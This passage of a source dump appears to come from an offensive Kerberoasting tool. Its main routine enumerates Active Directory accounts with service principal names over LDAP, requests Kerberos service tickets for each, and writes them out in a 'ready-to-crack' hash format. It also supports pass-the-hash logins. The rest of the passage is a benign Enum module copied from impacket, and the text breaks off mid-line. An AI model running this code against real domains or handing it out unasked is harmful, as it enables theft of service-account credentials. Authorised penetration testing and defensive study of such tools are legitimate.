| help="increase verbosity level") 441 | 442 | parser.add_argument('--delta', required=False, 443 | help="set time delta in Kerberos tickets. Useful when DC is not on the same timezone.\ 444 | Format is \"(+/-)hours:minutes:seconds\", eg. --delta=\"+00:05:00\" or --delta=\"-02:00:00\"") 445 | 446 | group2.add_argument('-k', '--user_sid', required=False, help="force ldap SPN\ 447 | retrieval through kerberos, sid is mandatory. Cannot be used with '-i'") 448 | 449 | group2.add_argument('-i', '--inputfile_spn', required=False, help="retrieve\ 450 | TGS associated with SPN in user's provided file. Format must be 'samaccountname$spn'\ 451 | on each line, 'samaccountname' can be 'unknown'") 452 | 453 | options = parser.parse_args() 454 | if not any(vars(options).values()): 455 | parser.print_help() 456 | sys.exit(1) 457 | return options 458 | 459 | 460 | if __name__ == '__main__': 461 | from getpass import getpass 462 | 463 | options = parse_arguments() 464 | 465 | if options.verbose: 466 | verbose_level = 1 467 | 468 | # assume implicit authentication 469 | if options.implicit: 470 | try: 471 | from rom.rich import ConnectToLDAP, LDAPsearch, KerberosInit, Get_TGS 472 | from ctypes import c_char_p as PCHAR 473 | except ImportError: 474 | sys.stderr.write("Cannot import ctypes related modules. Must be used on Windows. Exiting") 475 | sys.stderr.flush() 476 | sys.exit(1) 477 | 478 | 479 | outputfile = "" 480 | if options.outputfile != None: 481 | try: 482 | outputfile = open(options.outputfile,'w') 483 | except: 484 | WRITE_STDOUT('[-] Cannot open \'%s\' exiting. \n' % self.outputfile_path) 485 | sys.exit(1) 486 | 487 | domainControlerAddr, user_realm = options.implicit.split('@') 488 | 489 | if options.inputfile_spn: 490 | try: 491 | inputfile_spn = open(options.inputfile_spn, 'r') 492 | 493 | WRITE_STDOUT("[+] Retrieving sAMAccountName "\ 494 | "and servicePrincipalName from file '" \ 495 | + options.inputfile_spn + "'...\n") 496 | 497 | list_spn = construct_list_spn_from_file(inputfile_spn) 498 | WRITE_STDOUT(" Done!\n") 499 | except: 500 | WRITE_STDOUT("[-] Cannot open '" + options.inputfile_spn + "' exiting\n") 501 | sys.exit(1) 502 | # Retrieve spn through LDAP 503 | else: 504 | pDN = PCHAR("DC="+",DC=".join(user_realm.upper().split('.'))) 505 | 506 | pFilter = PCHAR(LDAP_QUERY) 507 | 508 | Attributes = ["sAMAccountName", "servicePrincipalName", "memberOf", "primaryGroupID", 0] 509 | pAttributes = (PCHAR * len(Attributes))(*Attributes) 510 | 511 | WRITE_STDOUT("\nConnecting to '" + domainControlerAddr \ 512 | + "' using ldap protocol and"\ 513 | + " Windows implicit authentication...") 514 | 515 | hLDAPConnection = ConnectToLDAP(domainControlerAddr) 516 | 517 | if hLDAPConnection == 0: 518 | sys.exit(1) 519 | 520 | WRITE_STDOUT(" Done!\n") 521 | 522 | WRITE_STDOUT("[+] Searching for all accounts having an SPN...") 523 | 524 | list_spn = LDAPsearch(hLDAPConnection, pDN, pFilter, pAttributes) 525 | 526 | if list_spn == 0: 527 | WRITE_STDOUT("\n[-] Cannot find any SPN, exiting.") 528 | sys.exit(1) 529 | else: 530 | WRITE_STDOUT(" Done!\n") 531 | 532 | dirname = "" 533 | filename = "" 534 | if options.outputfile != None: 535 | # where are stored SPN 536 | dirname = os.path.dirname(options.outputfile) 537 | # current dir 538 | if dirname == '': 539 | dirname = './' 540 | else: 541 | dirname = dirname + '/' 542 | filename = os.path.basename(options.outputfile) 543 | filename = 'SPN_' + filename 544 | outputfile_spn = open(dirname + filename, 'w') 545 | 546 | #iterate through SPN 547 | for accounts in list_spn: 548 | line_to_write = accounts['samaccountname']+'$'\ 549 | +accounts['serviceprincipalname'] 550 | if accounts.has_key('memberof'): 551 | line_to_write = line_to_write + '$' + accounts['memberof'] 552 | if accounts.has_key('primarygroupid'): 553 | line_to_write = line_to_write + '$primaryGroupID:'\ 554 | + accounts['primarygroupid'] 555 | outputfile_spn.write(line_to_write + '\n') 556 | outputfile_spn.close() 557 | 558 | # get current logon context 559 | 560 | WRITE_STDOUT("[+] Getting current user's logon context...") 561 | 562 | hLsaConnection, dwKerberosAuthenticationPackageId = KerberosInit() 563 | 564 | if hLsaConnection == None or dwKerberosAuthenticationPackageId == None: 565 | WRITE_STDOUT("\n[-] Cannot acquire handle on LSA and/or Kerberos authentication Package ID, exiting.") 566 | sys.exit(1) 567 | 568 | WRITE_STDOUT(" Done!\n") 569 | 570 | WRITE_STDOUT('[+] Iterating through SPN and asking for corresponding TGS...\n') 571 | for SPNentry in list_spn: 572 | samaccountname = SPNentry["samaccountname"] 573 | spn = SPNentry["serviceprincipalname"] 574 | target_service, target_host = spn.split('/', 1) 575 | 576 | WRITE_STDOUT(' [+] Retrieving ticket for account \"%s\" and SPN \"%s\"\n' %(samaccountname, spn)) 577 | data = Get_TGS(hLsaConnection, dwKerberosAuthenticationPackageId, SPNentry) 578 | 579 | if data == 0: 580 | continue 581 | 582 | tgs_rep = extract_tgs_data(data.strip().decode("hex")) 583 | 584 | payload = "" 585 | 586 | for i in tgs_rep['enc-part']['cipher'].asNumbers(): 587 | # zfill make sure a leading '0' is added when needed 588 | payload =payload + hex(i).replace("0x",'').zfill(2) 589 | existing_SPN = 1 590 | 591 | if options.outputfile != None: 592 | outputfile.write(samaccountname+":$krb5tgs$23$*" + samaccountname + "$"\ 593 | + domainControlerAddr.replace(':', '-') + "$" + target_service + "/" + target_host.split(':')[0] + "*$"\ 594 | + payload[:32] + "$" + payload[32:] + '\n') 595 | else: 596 | sys.stdout.write(samaccountname+":$krb5tgs$23$*" + samaccountname + "$"\ 597 | + domainControlerAddr.replace(':', '-') + "$" + target_service + "/" + target_host.split(':')[0] + "*$"\ 598 | + payload[:32] + "$" + payload[32:] + '\n') 599 | sys.stdout.flush() 600 | 601 | if options.outputfile != None: 602 | WRITE_STDOUT("All done! All tickets are stored in a "\ 603 | + "ready-to-crack format in '" + options.outputfile\ 604 | + "' and SPN are stored in '" + dirname + filename\ 605 | + "'\n") 606 | # explicit authentication 607 | else: 608 | user_name, user_realm = options.username.split('@', 1) 609 | DataSubmitted = AttackParameters(DC_addr = options.domainControlerAddr.lower(), 610 | user_account = user_name, 611 | realm = user_realm.upper(), 612 | outputfile_path = options.outputfile) 613 | 614 | # linux only 615 | try: 616 | ccache_file = ccache_file + str(os.geteuid()) 617 | except: 618 | ccache_file = None 619 | 620 | if options.password : 621 | DataSubmitted.password = options.password 622 | DataSubmitted.key = (RC4_HMAC, ntlm_hash(DataSubmitted.password).digest()) 623 | elif options.hash: 624 | lm_hash, nt_hash = options.hash.split(':') 625 | # assume right format 626 | if len(lm_hash) != 32 or len(nt_hash) != 32: 627 | WRITE_STDOUT("Error: format must be \"LM:NT\"") 628 | sys.exit(1) 629 | DataSubmitted.key = (RC4_HMAC, nt_hash.decode('hex')) 630 | DataSubmitted.password = options.hash 631 | assert len(DataSubmitted.key[1]) == 16 632 | else: 633 | DataSubmitted.password = getpass('Password: ') 634 | DataSubmitted.key = (RC4_HMAC, ntlm_hash(DataSubmitted.password).digest()) 635 | 636 | if options.user_sid : 637 | DataSubmitted.sid = options.user_sid 638 | DataSubmitted.auth_gssapi = True 639 | elif options.inputfile_spn : 640 | try: 641 | inputfile_spn = open(options.inputfile_spn, 'r') 642 | 643 | WRITE_STDOUT("Retrieving sAMAccountName "\ 644 | + "and servicePrincipalName from file '" \ 645 | + options.inputfile_spn + "'...") 646 | 647 | DataSubmitted.list_spn = construct_list_spn_from_file(inputfile_spn) 648 | WRITE_STDOUT(" Done!\n") 649 | except: 650 | WRITE_STDOUT("Cannot open '" + options.inputfile_spn + "', exiting\n") 651 | sys.exit(1) 652 | 653 | if options.input_TGT_File : 654 | DataSubmitted.Parse_TGT_File(options.input_TGT_File) 655 | 656 | if options.delta: 657 | sign = options.delta[0] 658 | time_array = map(int, options.delta[1:].split(':')) 659 | 660 | if sign == '+': 661 | DataSubmitted.time_delta = datetime.timedelta(hours=time_array[0], minutes=time_array[1], seconds=time_array[2]).total_seconds() 662 | elif sign == '-': 663 | DataSubmitted.time_delta = - datetime.timedelta(hours=time_array[0], minutes=time_array[1], seconds=time_array[2]).total_seconds() 664 | else: 665 | sys.stderr.write("Sign must be '+' or '-'. Exiting. \n") 666 | sys.stderr.flush() 667 | sys.exit(1) 668 | 669 | # launching attack! 670 | 671 | # file containing SPN is provided 672 | if DataSubmitted.list_spn: 673 | if not DataSubmitted.tgt: 674 | DataSubmitted.get_TGT() 675 | DataSubmitted.TGS_attack() 676 | else: 677 | # authentification through Kerberos 678 | if DataSubmitted.auth_gssapi: 679 | if not DataSubmitted.tgt: 680 | DataSubmitted.get_TGT(need_pac = True) 681 | DataSubmitted.list_spn = ldap_get_all_users_spn(DataSubmitted, LDAP_PORT) 682 | DataSubmitted.TGS_attack() 683 | # authentification through NTLM 684 | else: 685 | DataSubmitted.list_spn = ldap_get_all_users_spn(DataSubmitted, LDAP_PORT) 686 | if not DataSubmitted.tgt: 687 | DataSubmitted.get_TGT() 688 | DataSubmitted.TGS_attack() 689 | -------------------------------------------------------------------------------- /modules/rom/enum.py: -------------------------------------------------------------------------------- 1 | # This file comes from the amazing impacket tool by Alberto Solino (@agsolino) 2 | # https://github.com/CoreSecurity/impacket/blob/master/impacket/dcerpc/v5/enum.py 3 | 4 | # Copyright (c) 2003-2016 CORE Security Technologies) 5 | # 6 | # This software is provided under under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Author: Alberto Solino (@agsolino) 11 | 12 | """Python Enumerations""" 13 | 14 | import sys as _sys 15 | 16 | __all__ = ['Enum', 'IntEnum', 'unique'] 17 | 18 | pyver = float('%s.%s' % _sys.version_info[:2]) 19 | 20 | try: 21 | any 22 | except NameError: 23 | def any(iterable): 24 | for element in iterable: 25 | if element: 26 | return True 27 | return False 28 | 29 | 30 | class _RouteClassAttributeToGetattr(object): 31 | """Route attribute access on a class to __getattr__. 32 | 33 | This is a descriptor, used to define attributes that act differently when 34 | accessed through an instance and through a class. Instance access remains 35 | normal, but access to an attribute through a class will be routed to the 36 | class's __getattr__ method; this is done by raising AttributeError. 37 | 38 | """ 39 | def __init__(self, fget=None): 40 | self.fget = fget 41 | 42 | def __get__(self, instance, ownerclass=None): 43 | if instance is None: 44 | raise AttributeError() 45 | return self.fget(instance) 46 | 47 | def __set__(self, instance, value): 48 | raise AttributeError("can't set attribute") 49 | 50 | def __delete__(self, instance): 51 | raise AttributeError("can't delete attribute") 52 | 53 | 54 | def _is_descriptor(obj): 55 | """Returns True if obj is a descriptor, False otherwise.""" 56 | return ( 57 | hasattr(obj, '__get__') or 58 | hasattr(obj, '__set__') or 59 | hasattr(obj, '__delete__')) 60 | 61 | 62 | def _is_dunder(name): 63 | """Returns True if a __dunder__ name, False otherwise.""" 64 | return (name[:2] == name[-2:] == '__' and 65 | name[2:3] != '_' and 66 | name[-3:-2] != '_' and 67 | len(name) > 4) 68 | 69 | 70 | def _is_sunder(name): 71 | """Returns True if a _sunder_ name, False otherwise.""" 72 | return (name[0] == name[-1] == '_' and 73 | name[1:2] != '_' and 74 | name[-2:-1] != '_' and 75 | len(name) > 2) 76 | 77 | 78 | def _make_class_unpicklable(cls): 79 | """Make the given class un-picklable.""" 80 | def _break_on_call_reduce(self): 81 | raise TypeError('%r cannot be pickled' % self) 82 | cls.__reduce__ = _break_on_call_reduce 83 | cls.__module__ = '' 84 | 85 | 86 | class _EnumDict(dict): 87 | """Track enum member order and ensure member names are not reused. 88 | 89 | EnumMeta will use the names found in self._member_names as the 90 | enumeration member names. 91 | 92 | """ 93 | def __init__(self): 94 | super(_EnumDict, self).__init__() 95 | self._member_names = [] 96 | 97 | def __setitem__(self, key, value): 98 | """Changes anything not dundered or not a descriptor. 99 | 100 | If a descriptor is added with the same name as an enum member, the name 101 | is removed from _member_names (this may leave a hole in the numerical 102 | sequence of values). 103 | 104 | If an enum member name is used twice, an error is raised; duplicate 105 | values are not checked for. 106 | 107 | Single underscore (sunder) names are reserved. 108 | 109 | Note: in 3.x __order__ is simply discarded as a not necessary piece 110 | leftover from 2.x 111 | 112 | """ 113 | if pyver >= 3.0 and key == '__order__': 114 | return 115 | if _is_sunder(key): 116 | raise ValueError('_names_ are reserved for future Enum use') 117 | elif _is_dunder(key): 118 | pass 119 | elif key in self._member_names: 120 | # descriptor overwriting an enum? 121 | raise TypeError('Attempted to reuse key: %r' % key) 122 | elif not _is_descriptor(value): 123 | if key in self: 124 | # enum overwriting a descriptor? 125 | raise TypeError('Key already defined as: %r' % self[key]) 126 | self._member_names.append(key) 127 | super(_EnumDict, self).__setitem__(key, value) 128 | 129 | 130 | # Dummy value for Enum as EnumMeta explicity checks for it, but of course until 131 | # EnumMeta finishes running the first time the Enum class doesn't exist. This 132 | # is also why there are checks in EnumMeta like `if Enum is not None` 133 | Enum = None 134 | 135 | 136 | class EnumMeta(type): 137 | """Metaclass for Enum""" 138 | @classmethod 139 | def __prepare__(metacls, cls, bases): 140 | return _EnumDict() 141 | 142 | def __new__(metacls, cls, bases, classdict): 143 | # an Enum class is final once enumeration items have been defined; it 144 | # cannot be mixed with other types (int, float, etc.) if it has an 145 | # inherited __new__ unless a new __new__ is defined (or the resulting 146 | # class will fail). 147 | if type(classdict) is dict: 148 | original_dict = classdict 149 | classdict = _EnumDict() 150 | for k, v in original_dict.items(): 151 | classdict[k] = v 152 | 153 | member_type, first_enum = metacls._get_mixins_(bases) 154 | #if member_type is object: 155 | # use_args = False 156 | #else: 157 | # use_args = True 158 | __new__, save_new, use_args = metacls._find_new_(classdict, member_type, 159 | first_enum) 160 | # save enum items into separate mapping so they don't get baked into 161 | # the new class 162 | members = dict((k, classdict[k]) for k in classdict._member_names) 163 | for name in classdict._member_names: 164 | del classdict[name] 165 | 166 | # py2 support for definition order 167 | __order__ = classdict.get('__order__') 168 | if __order__ is None: 169 | __order__ = classdict._member_names 170 | if pyver < 3.0: 171 | order_specified = False 172 | else: 173 | order_specified = True 174 | else: 175 | del classdict['__order__'] 176 | order_specified = True 177 | if pyver < 3.0: 178 | __order__ = __order__.replace(',', ' ').split() 179 | aliases = [name for name in members if name not in __order__] 180 | __order__ += aliases 181 | 182 | # check for illegal enum names (any others?) 183 | invalid_names = set(members) & set(['mro']) 184 | if invalid_names: 185 | raise ValueError('Invalid enum member name(s): %s' % ( 186 | ', '.join(invalid_names), )) 187 | 188 | # create our new Enum type 189 | enum_class = super(EnumMeta, metacls).__new__(metacls, cls, bases, classdict) 190 | enum_class._member_names_ = [] # names in random order 191 | enum_class._member_map_ = {} # name->value map 192 | enum_class._member_type_ = member_type 193 | 194 | # Reverse value->name map for hashable values. 195 | enum_class._value2member_map_ = {} 196 | 197 | # check for a __getnewargs__, and if not present sabotage 198 | # pickling, since it won't work anyway 199 | if (member_type is not object and 200 | member_type.__dict__.get('__getnewargs__') is None 201 | ): 202 | _make_class_unpicklable(enum_class) 203 | 204 | # instantiate them, checking for duplicates as we go 205 | # we instantiate first instead of checking for duplicates first in case 206 | # a custom __new__ is doing something funky with the values -- such as 207 | # auto-numbering ;) 208 | if __new__ is None: 209 | __new__ = enum_class.__new__ 210 | for member_name in __order__: 211 | value = members[member_name] 212 | if not isinstance(value, tuple): 213 | args = (value, ) 214 | else: 215 | args = value 216 | if member_type is tuple: # special case for tuple enums 217 | args = (args, ) # wrap it one more time 218 | if not use_args or not args: 219 | enum_member = __new__(enum_class) 220 | if not hasattr(enum_member, '_value_'): 221 | enum_member._value_ = value 222 | else: 223 | enum_member = __new__(enum_class, *args) 224 | if not hasattr(enum_member, '_value_'): 225 | enum_member._value_ = member_type(*args) 226 | value = enum_member._value_ 227 | enum_member._name_ = member_name 228 | enum_member.__objclass__ = enum_class 229 | enum_member.__init__(*args) 230 | # If another member with the same value was already defined, the 231 | # new member becomes an alias to the existing one. 232 | for name, canonical_member in enum_class._member_map_.items(): 233 | if canonical_member.value == enum_member._value_: 234 | enum_member = canonical_member 235 | break 236 | else: 237 | # Aliases don't appear in member names (only in __members__). 238 | enum_class._member_names_.append(member_name) 239 | enum_class._member_map_[member_name] = enum_member 240 | try: 241 | # This may fail if value is not hashable. We can't add the value 242 | # to the map, and by-value lookups for this value will be 243 | # linear. 244 | enum_class._value2member_map_[value] = enum_member 245 | except TypeError: 246 | pass 247 | 248 | # in Python2.x we cannot know definition order, so go with value order 249 | # unless __order__ was specified in the class definition 250 | if not order_specified: 251 | enum_class._member_names_ = [ 252 | e[0] for e in sorted( 253 | [(name, enum_class._member_map_[name]) for name in enum_class._member_names_], 254 | key=lambda t: t[1]._value_ 255 | )] 256 | 257 | # double check that repr and friends are not the mixin's or various 258 | # things break (such as pickle) 259 | if Enum is not None: 260 | setattr(enum_class, '__getnewargs__', Enum.__getnewargs__) 261 | for name in ('__repr__', '__str__', '__format__'): 262 | class_method = getattr(enum_class, name) 263 | obj_method = getattr(member_type, name, None) 264 | enum_method = getattr(first_enum, name, None) 265 | if obj_method is not None and obj_method is class_method: 266 | setattr(enum_class, name, enum_method) 267 | 268 | # method resolution and int's are not playing nice 269 | # Python's less than 2.6 use __cmp__ 270 | 271 | if pyver < 2.6: 272 | 273 | if issubclass(enum_class, int): 274 | setattr(enum_class, '__cmp__', getattr(int, '__cmp__')) 275 | 276 | elif pyver < 3.0: 277 | 278 | if issubclass(enum_class, int): 279 | for method in ( 280 | '__le__', 281 | '__lt__', 282 | '__gt__', 283 | '__ge__', 284 | '__eq__', 285 | '__ne__', 286 | '__hash__', 287 | ): 288 | setattr(enum_class, method, getattr(int, method)) 289 | 290 | # replace any other __new__ with our own (as long as Enum is not None, 291 | # anyway) -- again, this is to support pickle 292 | if Enum is not None: 293 | # if the user defined their own __new__, save it before it gets 294 | # clobbered in case they subclass later 295 | if save_new: 296 | setattr(enum_class, '__member_new__', enum_class.__dict__['__new__']) 297 | setattr(enum_class, '__new__', Enum.__dict__['__new__']) 298 | return enum_class 299 | 300 | def __call__(cls, value, names=None, module=None, type=None): 301 | """Either returns an existing member, or creates a new enum class. 302 | 303 | This method is used both when an enum class is given a value to match 304 | to an enumeration member (i.e. Color(3)) and for the functional API 305 | (i.e. Color = Enum('Color', names='red green blue')). 306 | 307 | When used for the functional API: `module`, if set, will be stored in 308 | the new class' __module__ attribute; `type`, if set, will be mixed in 309 | as the first base class. 310 | 311 | Note: if `module` is not set this routine will attempt to discover the 312 | calling module by walking the frame stack; if this is unsuccessful 313 | the resulting class will not be pickleable. 314 | 315 | """ 316 | if names is None: # simple value lookup 317 | return cls.__new__(cls, value) 318 | # otherwise, functional API: we're creating a new Enum type 319 | return cls._create_(value, names, module=module, type=type) 320 | 321 | def __contains__(cls, member): 322 | return isinstance(member, cls) and member.name in cls._member_map_ 323 | 324 | def __delattr__(cls, attr): 325 | # nicer error message when someone tries to delete an attribute 326 | # (see issue19025). 327 | if attr in cls._member_map_: 328 | raise AttributeError( 329 | "%s: cannot delete Enum member." % cls.__name__) 330 | super(EnumMeta, cls).__delattr__(attr) 331 | 332 | def __dir__(self): 333 | return (['__class__', '__doc__', '__members__', '__module__'] + 334 | self._member_names_) 335 | 336 | @property 337 | def __members__(cls): 338 | """Returns a mapping of member name->value. 339 | 340 | This mapping lists all enum members, including aliases. Note that this 341 | is a copy of the internal mapping. 342 | 343 | """ 344 | return cls._member_map_.copy() 345 | 346 | def __getattr__(cls, name): 347 | """Return the enum member matching `name` 348 | 349 | We use __getattr__ instead of descriptors or inserting into the enum 350 | class' __dict__ in order to support `name` and `value` being both 351 | properties for enum members (which live in the class' __dict__) and 352 | enum members themselves. 353 | 354 | """ 355 | if _is_dunder(name): 356 | raise AttributeError(name) 357 | try: 358 | return cls._member_map_[name] 359 | except KeyError: 360 | raise AttributeError(name) 361 | 362 | def __getitem__(cls, name): 363 | return cls._member_map_[name] 364 | 365 | def __iter__(cls): 366 | return (cls._member_map_[name] for name in cls._member_names_) 367 | 368 | def __reversed__(cls): 369 | return (cls._member_map_[name] for name in reversed(cls._member_names_)) 370 | 371 | def __len__(cls): 372 | return len(cls._member_names_) 373 | 374 | def __repr__(cls): 375 | return "" % cls.__name__ 376 | 377 | def __setattr__(cls, name, value): 378 | """Block attempts to reassign Enum members. 379 | 380 | A simple assignment to the class namespace only changes one of the 381 | several possible ways to get an Enum member from the Enum class, 382 | resulting in an inconsistent Enumeration. 383 | 384 | """ 385 | member_map = cls.__dict__.get('_member_map_', {}) 386 | if name in member_map: 387 | raise AttributeError('Cannot reassign members.') 388 | super(EnumMeta, cls).__setattr__(name, value) 389 | 390 | def _create_(cls, class_name, names=None, module=None, type=None): 391 | """Convenience method to create a new Enum class. 392 | 393 | `names` can be: 394 | 395 | * A string containing member names, separated either with spaces or 396 | commas. Values are auto-numbered from 1. 397 | * An iterable of member names. Values are auto-numbered from 1. 398 | * An iterable of (member name, value) pairs. 399 | * A mapping of member name -> value. 400 | 401 | """ 402 | metacls = cls.__class__ 403 | if type is None: 404 | bases = (cls, ) 405 | else: 406 | bases = (type, cls) 407 | classdict = metacls.__prepare__(class_name, bases) 408 | __order__ = [] 409 | 410 | # special processing needed for names? 411 | if isinstance(names, str): 412 | names = names.replace(',', ' ').split() 413 | if isinstance(names, (tuple, list)) and isinstance(names[0], str): 414 | names = [(e, i+1) for (i, e) in enumerate(names)] 415 | 416 | # Here, names is either an iterable of (name, value) or a mapping. 417 | for item in names: 418 | if isinstance(item, str): 419 | member_name, member_value = item, names[item] 420 | else: 421 | member_name, member_value = item 422 | classdict[member_name] = member_value 423 | __order__.append(member_name) 424 | # only set __order__ in classdict if name/value was not from a mapping 425 | if not isinstance(item, str): 426 | classdict['__order__'] = ' '.join(__order__) 427 | enum_class = metacls.__new__(metacls, class_name, bases, classdict) 428 | 429 | # TODO: replace the frame hack if a blessed way to know the calling 430 | # module is ever developed 431 | if module is None: 432 | try: 433 | module = _sys._getframe(2).f_globals['__name__'] 434 | except (AttributeError, ValueError): 435 | pass 436 | if module is None: 437 | _make_class_unpicklable(enum_class) 438 | else: 439 | enum_class.__module__ = module 440 | 441 | return enum_class 442 | 443 | @staticmethod 444 | def _get_mixins_(bases): 445 | """Returns the type for creating enum members, and the first inherited 446 | enum class. 447 | 448 | bases: the tuple of bases that was given to __new__ 449 | 450 | """ 451 | if not bases or Enum is None: 452 | return object, Enum 453 | 454 | 455 | # double check that we are not subclassing a class with existing 456 | # enumeration members; while we're at it, see if any other data 457 | # type has been mixed in so we can use the correct __new__ 458 | member_type = first_enum = None 459 | for base in bases: 460 | if (base is not Enum and 461 | issubclass(base, Enum) and 462 | base._member_names_): 463 | raise TypeError("Cannot extend enumerations") 464 | # base is now the last base in bases 465 | if not issubclass(base, Enum): 466 | raise TypeError("new enumerations must be created as " 467 | "`ClassName([mixin_type,] enum_type)`") 468 | 469 | # get correct mix-in type (either mix-in type of Enum subclass, or 470 | # first base if last base is Enum) 471 | if not issubclass(bases[0], Enum): 472 | member_type = bases[0] # first data type 473 | first_enum = bases[-1] # enum type 474 | else: 475 | for base in bases[0].__mro__: 476 | # most common: (IntEnum, int, Enum, object) 477 | # possible: (, , 478 | # , , 479 | # ) 480 | if issubclass(base, Enum): 481 | if first_enum is None: 482 | first_enum = base 483 | else: 484 | if member_type is None: 485 | member_type = base 486 | 487 | return member_type, first_enum 488 | 489 | if pyver < 3.0: 490 | @staticmethod 491 | def _find_new_(classdict, member_type, first_enum): 492 | """Returns the __new__ to be used for creating the enum members. 493 | 494 | classdict: the class dictionary given to __new__ 495 | member_type: the data type whose __new__ will be used by default 496 | first_enum: enumeration to check for an overriding __new__ 497 | 498 | """ 499 | # now find the correct __new__, checking to see of one was defined 500 | # by the user; also check earlier enum classes in case a __new__ was 501 | # saved as __member_new__ 502 | __new__ = classdict.get('__new__', None) 503 | if __new__: 504 | return None, True, True # __new__, save_new, use_args 505 | 506 | N__new__ = getattr(None, '__new__') 507 | O__new__ = getattr(object, '__new__') 508 | if Enum is None: 509 | E__new__ = N__new__ 510 | else: 511 | E__new__ = Enum.__dict__['__new__'] 512 | # check all possibles for __member_new__ before falling back to 513 | # __new__ 514 | for method in ('__member_new__', '__new__'): 515 | for possible in (member_type, first_enum): 516 | try: 517 | target = possible.__dict__[method] 518 | except (AttributeError, KeyError): 519 | target = getattr(possible, method, None) 520 | if target not in [ 521 | None, 522 | N__new__, 523 | O__new__, 524 | E__new__, 525 | ]: 526 | if method == '__member_new__': 527 | classdict['__new__'] = target 528 | return None, False, True 529 | if isinstance(target, staticmethod): 530 | target = target.__get__(member_type) 531 | __new__ = target 532 | break 533 | if __new__ is not None: 534 | break 535 | else: 536 | __new__ = object.__new__ 537 | 538 | # if a non-object.__new__ is used then whatever value/tuple was 539 | # assigned to the enum member name will be passed to __new__ and to the 540 | # new enum member's __init__ 541 | if __new__ is object.__new__: 542 | use_args = False 543 | else: 544 | use_args = True 545 | 546 | return __new__, False, use_args 547 | else: 548 | @staticmethod 549 | def _find_new_(classdict, member_type, first_enum): 550 | """Returns the __new__ to be used for creating the enum members. 551 | 552 | classdict: the class dictionary given to __new__ 553 | member_type: the data type whose __new__ will be used by default 554 | first_enum: enumeration to check for an overriding __new__ 555 | 556 | """ 557 | # now find the correct __new__, checking to see of one was defined 558 | # by the user; also check earlier enum classes in case a __new__ was 559 | # saved as __member_new__ 560 | __new__ = classdict.get('__new__', None) 561 | 562 | # should __new__ be saved as __member_new__ later? 563 | save_new = __new__ is not None 564 | 565 | if __new__ is None: 566 | # check all possibles for __member_new__ before falling back to 567 | # __new__ 568 | for method in ('__member_new__', '__new__'): 569 | for possible in (member_type, first_enum): 570 | target = getattr(possible, method, None) 571 | if target not in ( 572 | None, 573 | None.__new__, 574 | object.__new__, 575 | Enum.__new__, 576 | ): 577 | __new__ = target 578 | break 579 | if __new__ is not None: 580 | break 581 | else: 582 | __new__ = object.__new__ 583 | 584 | # if a non-object.__new__ is used then whatever value/tuple was 585 | # assigned to the enum member name will be passed to __new__ and to the 586 | # new enum member's __init__ 587 | if __new__ is object.__new__: 588 | use_args = False 589 | else: 590 | use_args = True 591 | 592 | return __new__, save_new, use_args 593 | 594 | 595 | ######################################################## 596 | # In order to support Python 2 and 3 with a single 597 | # codebase we have to create the Enum methods separately 598 | # and then use the `type(name, bases, dict)` method to 599 | # create the class. 600 | ######################################################## 601 | temp_enum_dict = {} 602 | temp_enum_dict['__doc__'] = "Generic enumeration.\n\n Derive from this class to define new enumerations.\n\n" 603 | 604 | def __new__(cls, value): 605 | # all enum instances are actually created during class construction 606 | # without calling this method; this method is called by the metaclass' 607 | # __call__ (i.e. Color(3) ), and by pickle 608 | if type(value) is cls: 609 | # For lookups like Color(Color.red) 610 | value = value.value 611 | #return value 612 | # by-value search for a matching enum member 613 | # see if it's in the reverse mapping (for hashable values) 614 | try: 615 | if value in cls._value2member_map_: 616 | return cls._value2member_map_[value] 617 | except TypeError: 618 | # not there, now do long search -- O(n) behavior 619 | for member in cls._member_map_.values(): 620 | if member.value == value: 621 | return member 622 | raise ValueError("%s is not a valid %s" % (value, cls.__name__)) 623 | temp_enum_dict['__new__'] = __new__ 624 | del __new__ 625 | 626 | def __repr__(self): 627 | return "<%s.%s: %r>" % ( 628 | self.__class__.__name__, self._name_, self._value_) 629 | temp_enum_dict['__repr__'] = __repr__ 630 | del __repr__ 631 | 632 | def __str__(self): 633 | return "%s.%s" % (self.__class__.__name__, self._name_) 634 | temp_enum_dict['__str__'] = __str__ 635 | del __str__ 636 | 637 | def __dir__(self): 638 | added_behavior = [m for m in self.__class__.__dict__ if m[0] != '_'] 639 | return (['__class__', '__doc__', '__module__', 'name', 'value'] + added_behavior) 640 | temp_enum_dict['__dir__'] = __dir__ 641 | del __dir__ 642 | 643 | def __format__(self, format_spec): 644 | # mixed-in Enums should use the mixed-in type's __format__, otherwise 645 | # we can get strange results with the Enum name showing up instead of 646 | # the value 647 | 648 | # pure Enum branch 649 | if self._member_type_ is object: 650 | cls = str 651 | val = str(self) 652 | # mix-in branch 653 | else: 654 | cls = self._member_type_ 655 | val = self.value 656 | return cls.__format__(val, format_spec) 657 | temp_enum_dict['__format__'] = __format__ 658 | del __format__ 659 | 660 | 661 | #################################### 662 | # Python's less than 2.6 use __cmp__ 663 | 664 | if pyver < 2.6: 665 | 666 | def __cmp__(self, other): 667 | if type(other) is self.__class__: 668 | if self is other: 669 | return 0 670 | return -1 671 | return NotImplemented 672 | raise TypeError("unorderable types: %s() and %s()" % (self.__class__.__name__, other.__class__.__name__)) 673 | temp_enum_dict['__cmp__'] = __cmp__ 674 | del __cmp__ 675 | 676 | else: 677 | 678 | def __le__(self, other): 679 | raise TypeError("unorderable types: %s() <= %s()" % (self.__class__.__name__, other.__class__.__name__)) 680 | temp_enum_dict['__le__'] = __le__ 681 | del __le__ 682 | 683 | def __lt__(self, other): 684 | raise TypeError("unorderable types: %s() < %s()" % (self.__class__.__name__, other.__class__.__name__)) 685 | temp_enum_dict['__lt__'] = __lt__ 686 | del __lt__ 687 | 688 | def __ge__(self, other): 689 | raise TypeError("unorderable types: %s() >= %s()" % (self.__class__.__name__, other.__class__.__name__)) 690 | temp_enum_dict['__ge__'] = __ge__ 691 | del __ge__ 692 | 693 | def __gt__(self, other): 694 | raise TypeError("unorderable types: %s() > %s()" % (self.__class__.__name__, other.__class__.__name__)) 695 | temp_enum_dict['__gt__'] = __gt__ 696 | del __gt__ 697 | 698 | 699 | def __eq__(self, other): 700 | if type(other) is self.__class__: 701 | return self is other 702 | return NotImplemented 703 | temp_enum_dict['__eq__'] = __eq__ 704 | del __eq__ 705 | 706 | def __ne__(self, other): 707 | if type(other) is self.__class__: 708 | return self is not other 709 | return NotImplemented 710 | temp_enum_dict['__ne__'] = __ne__ 711 | del __ne__ 712 | 713 | def __getnewargs__(self): 714 | return (self._value_, ) 715 | temp_enum_dict['__getnewargs__'] = 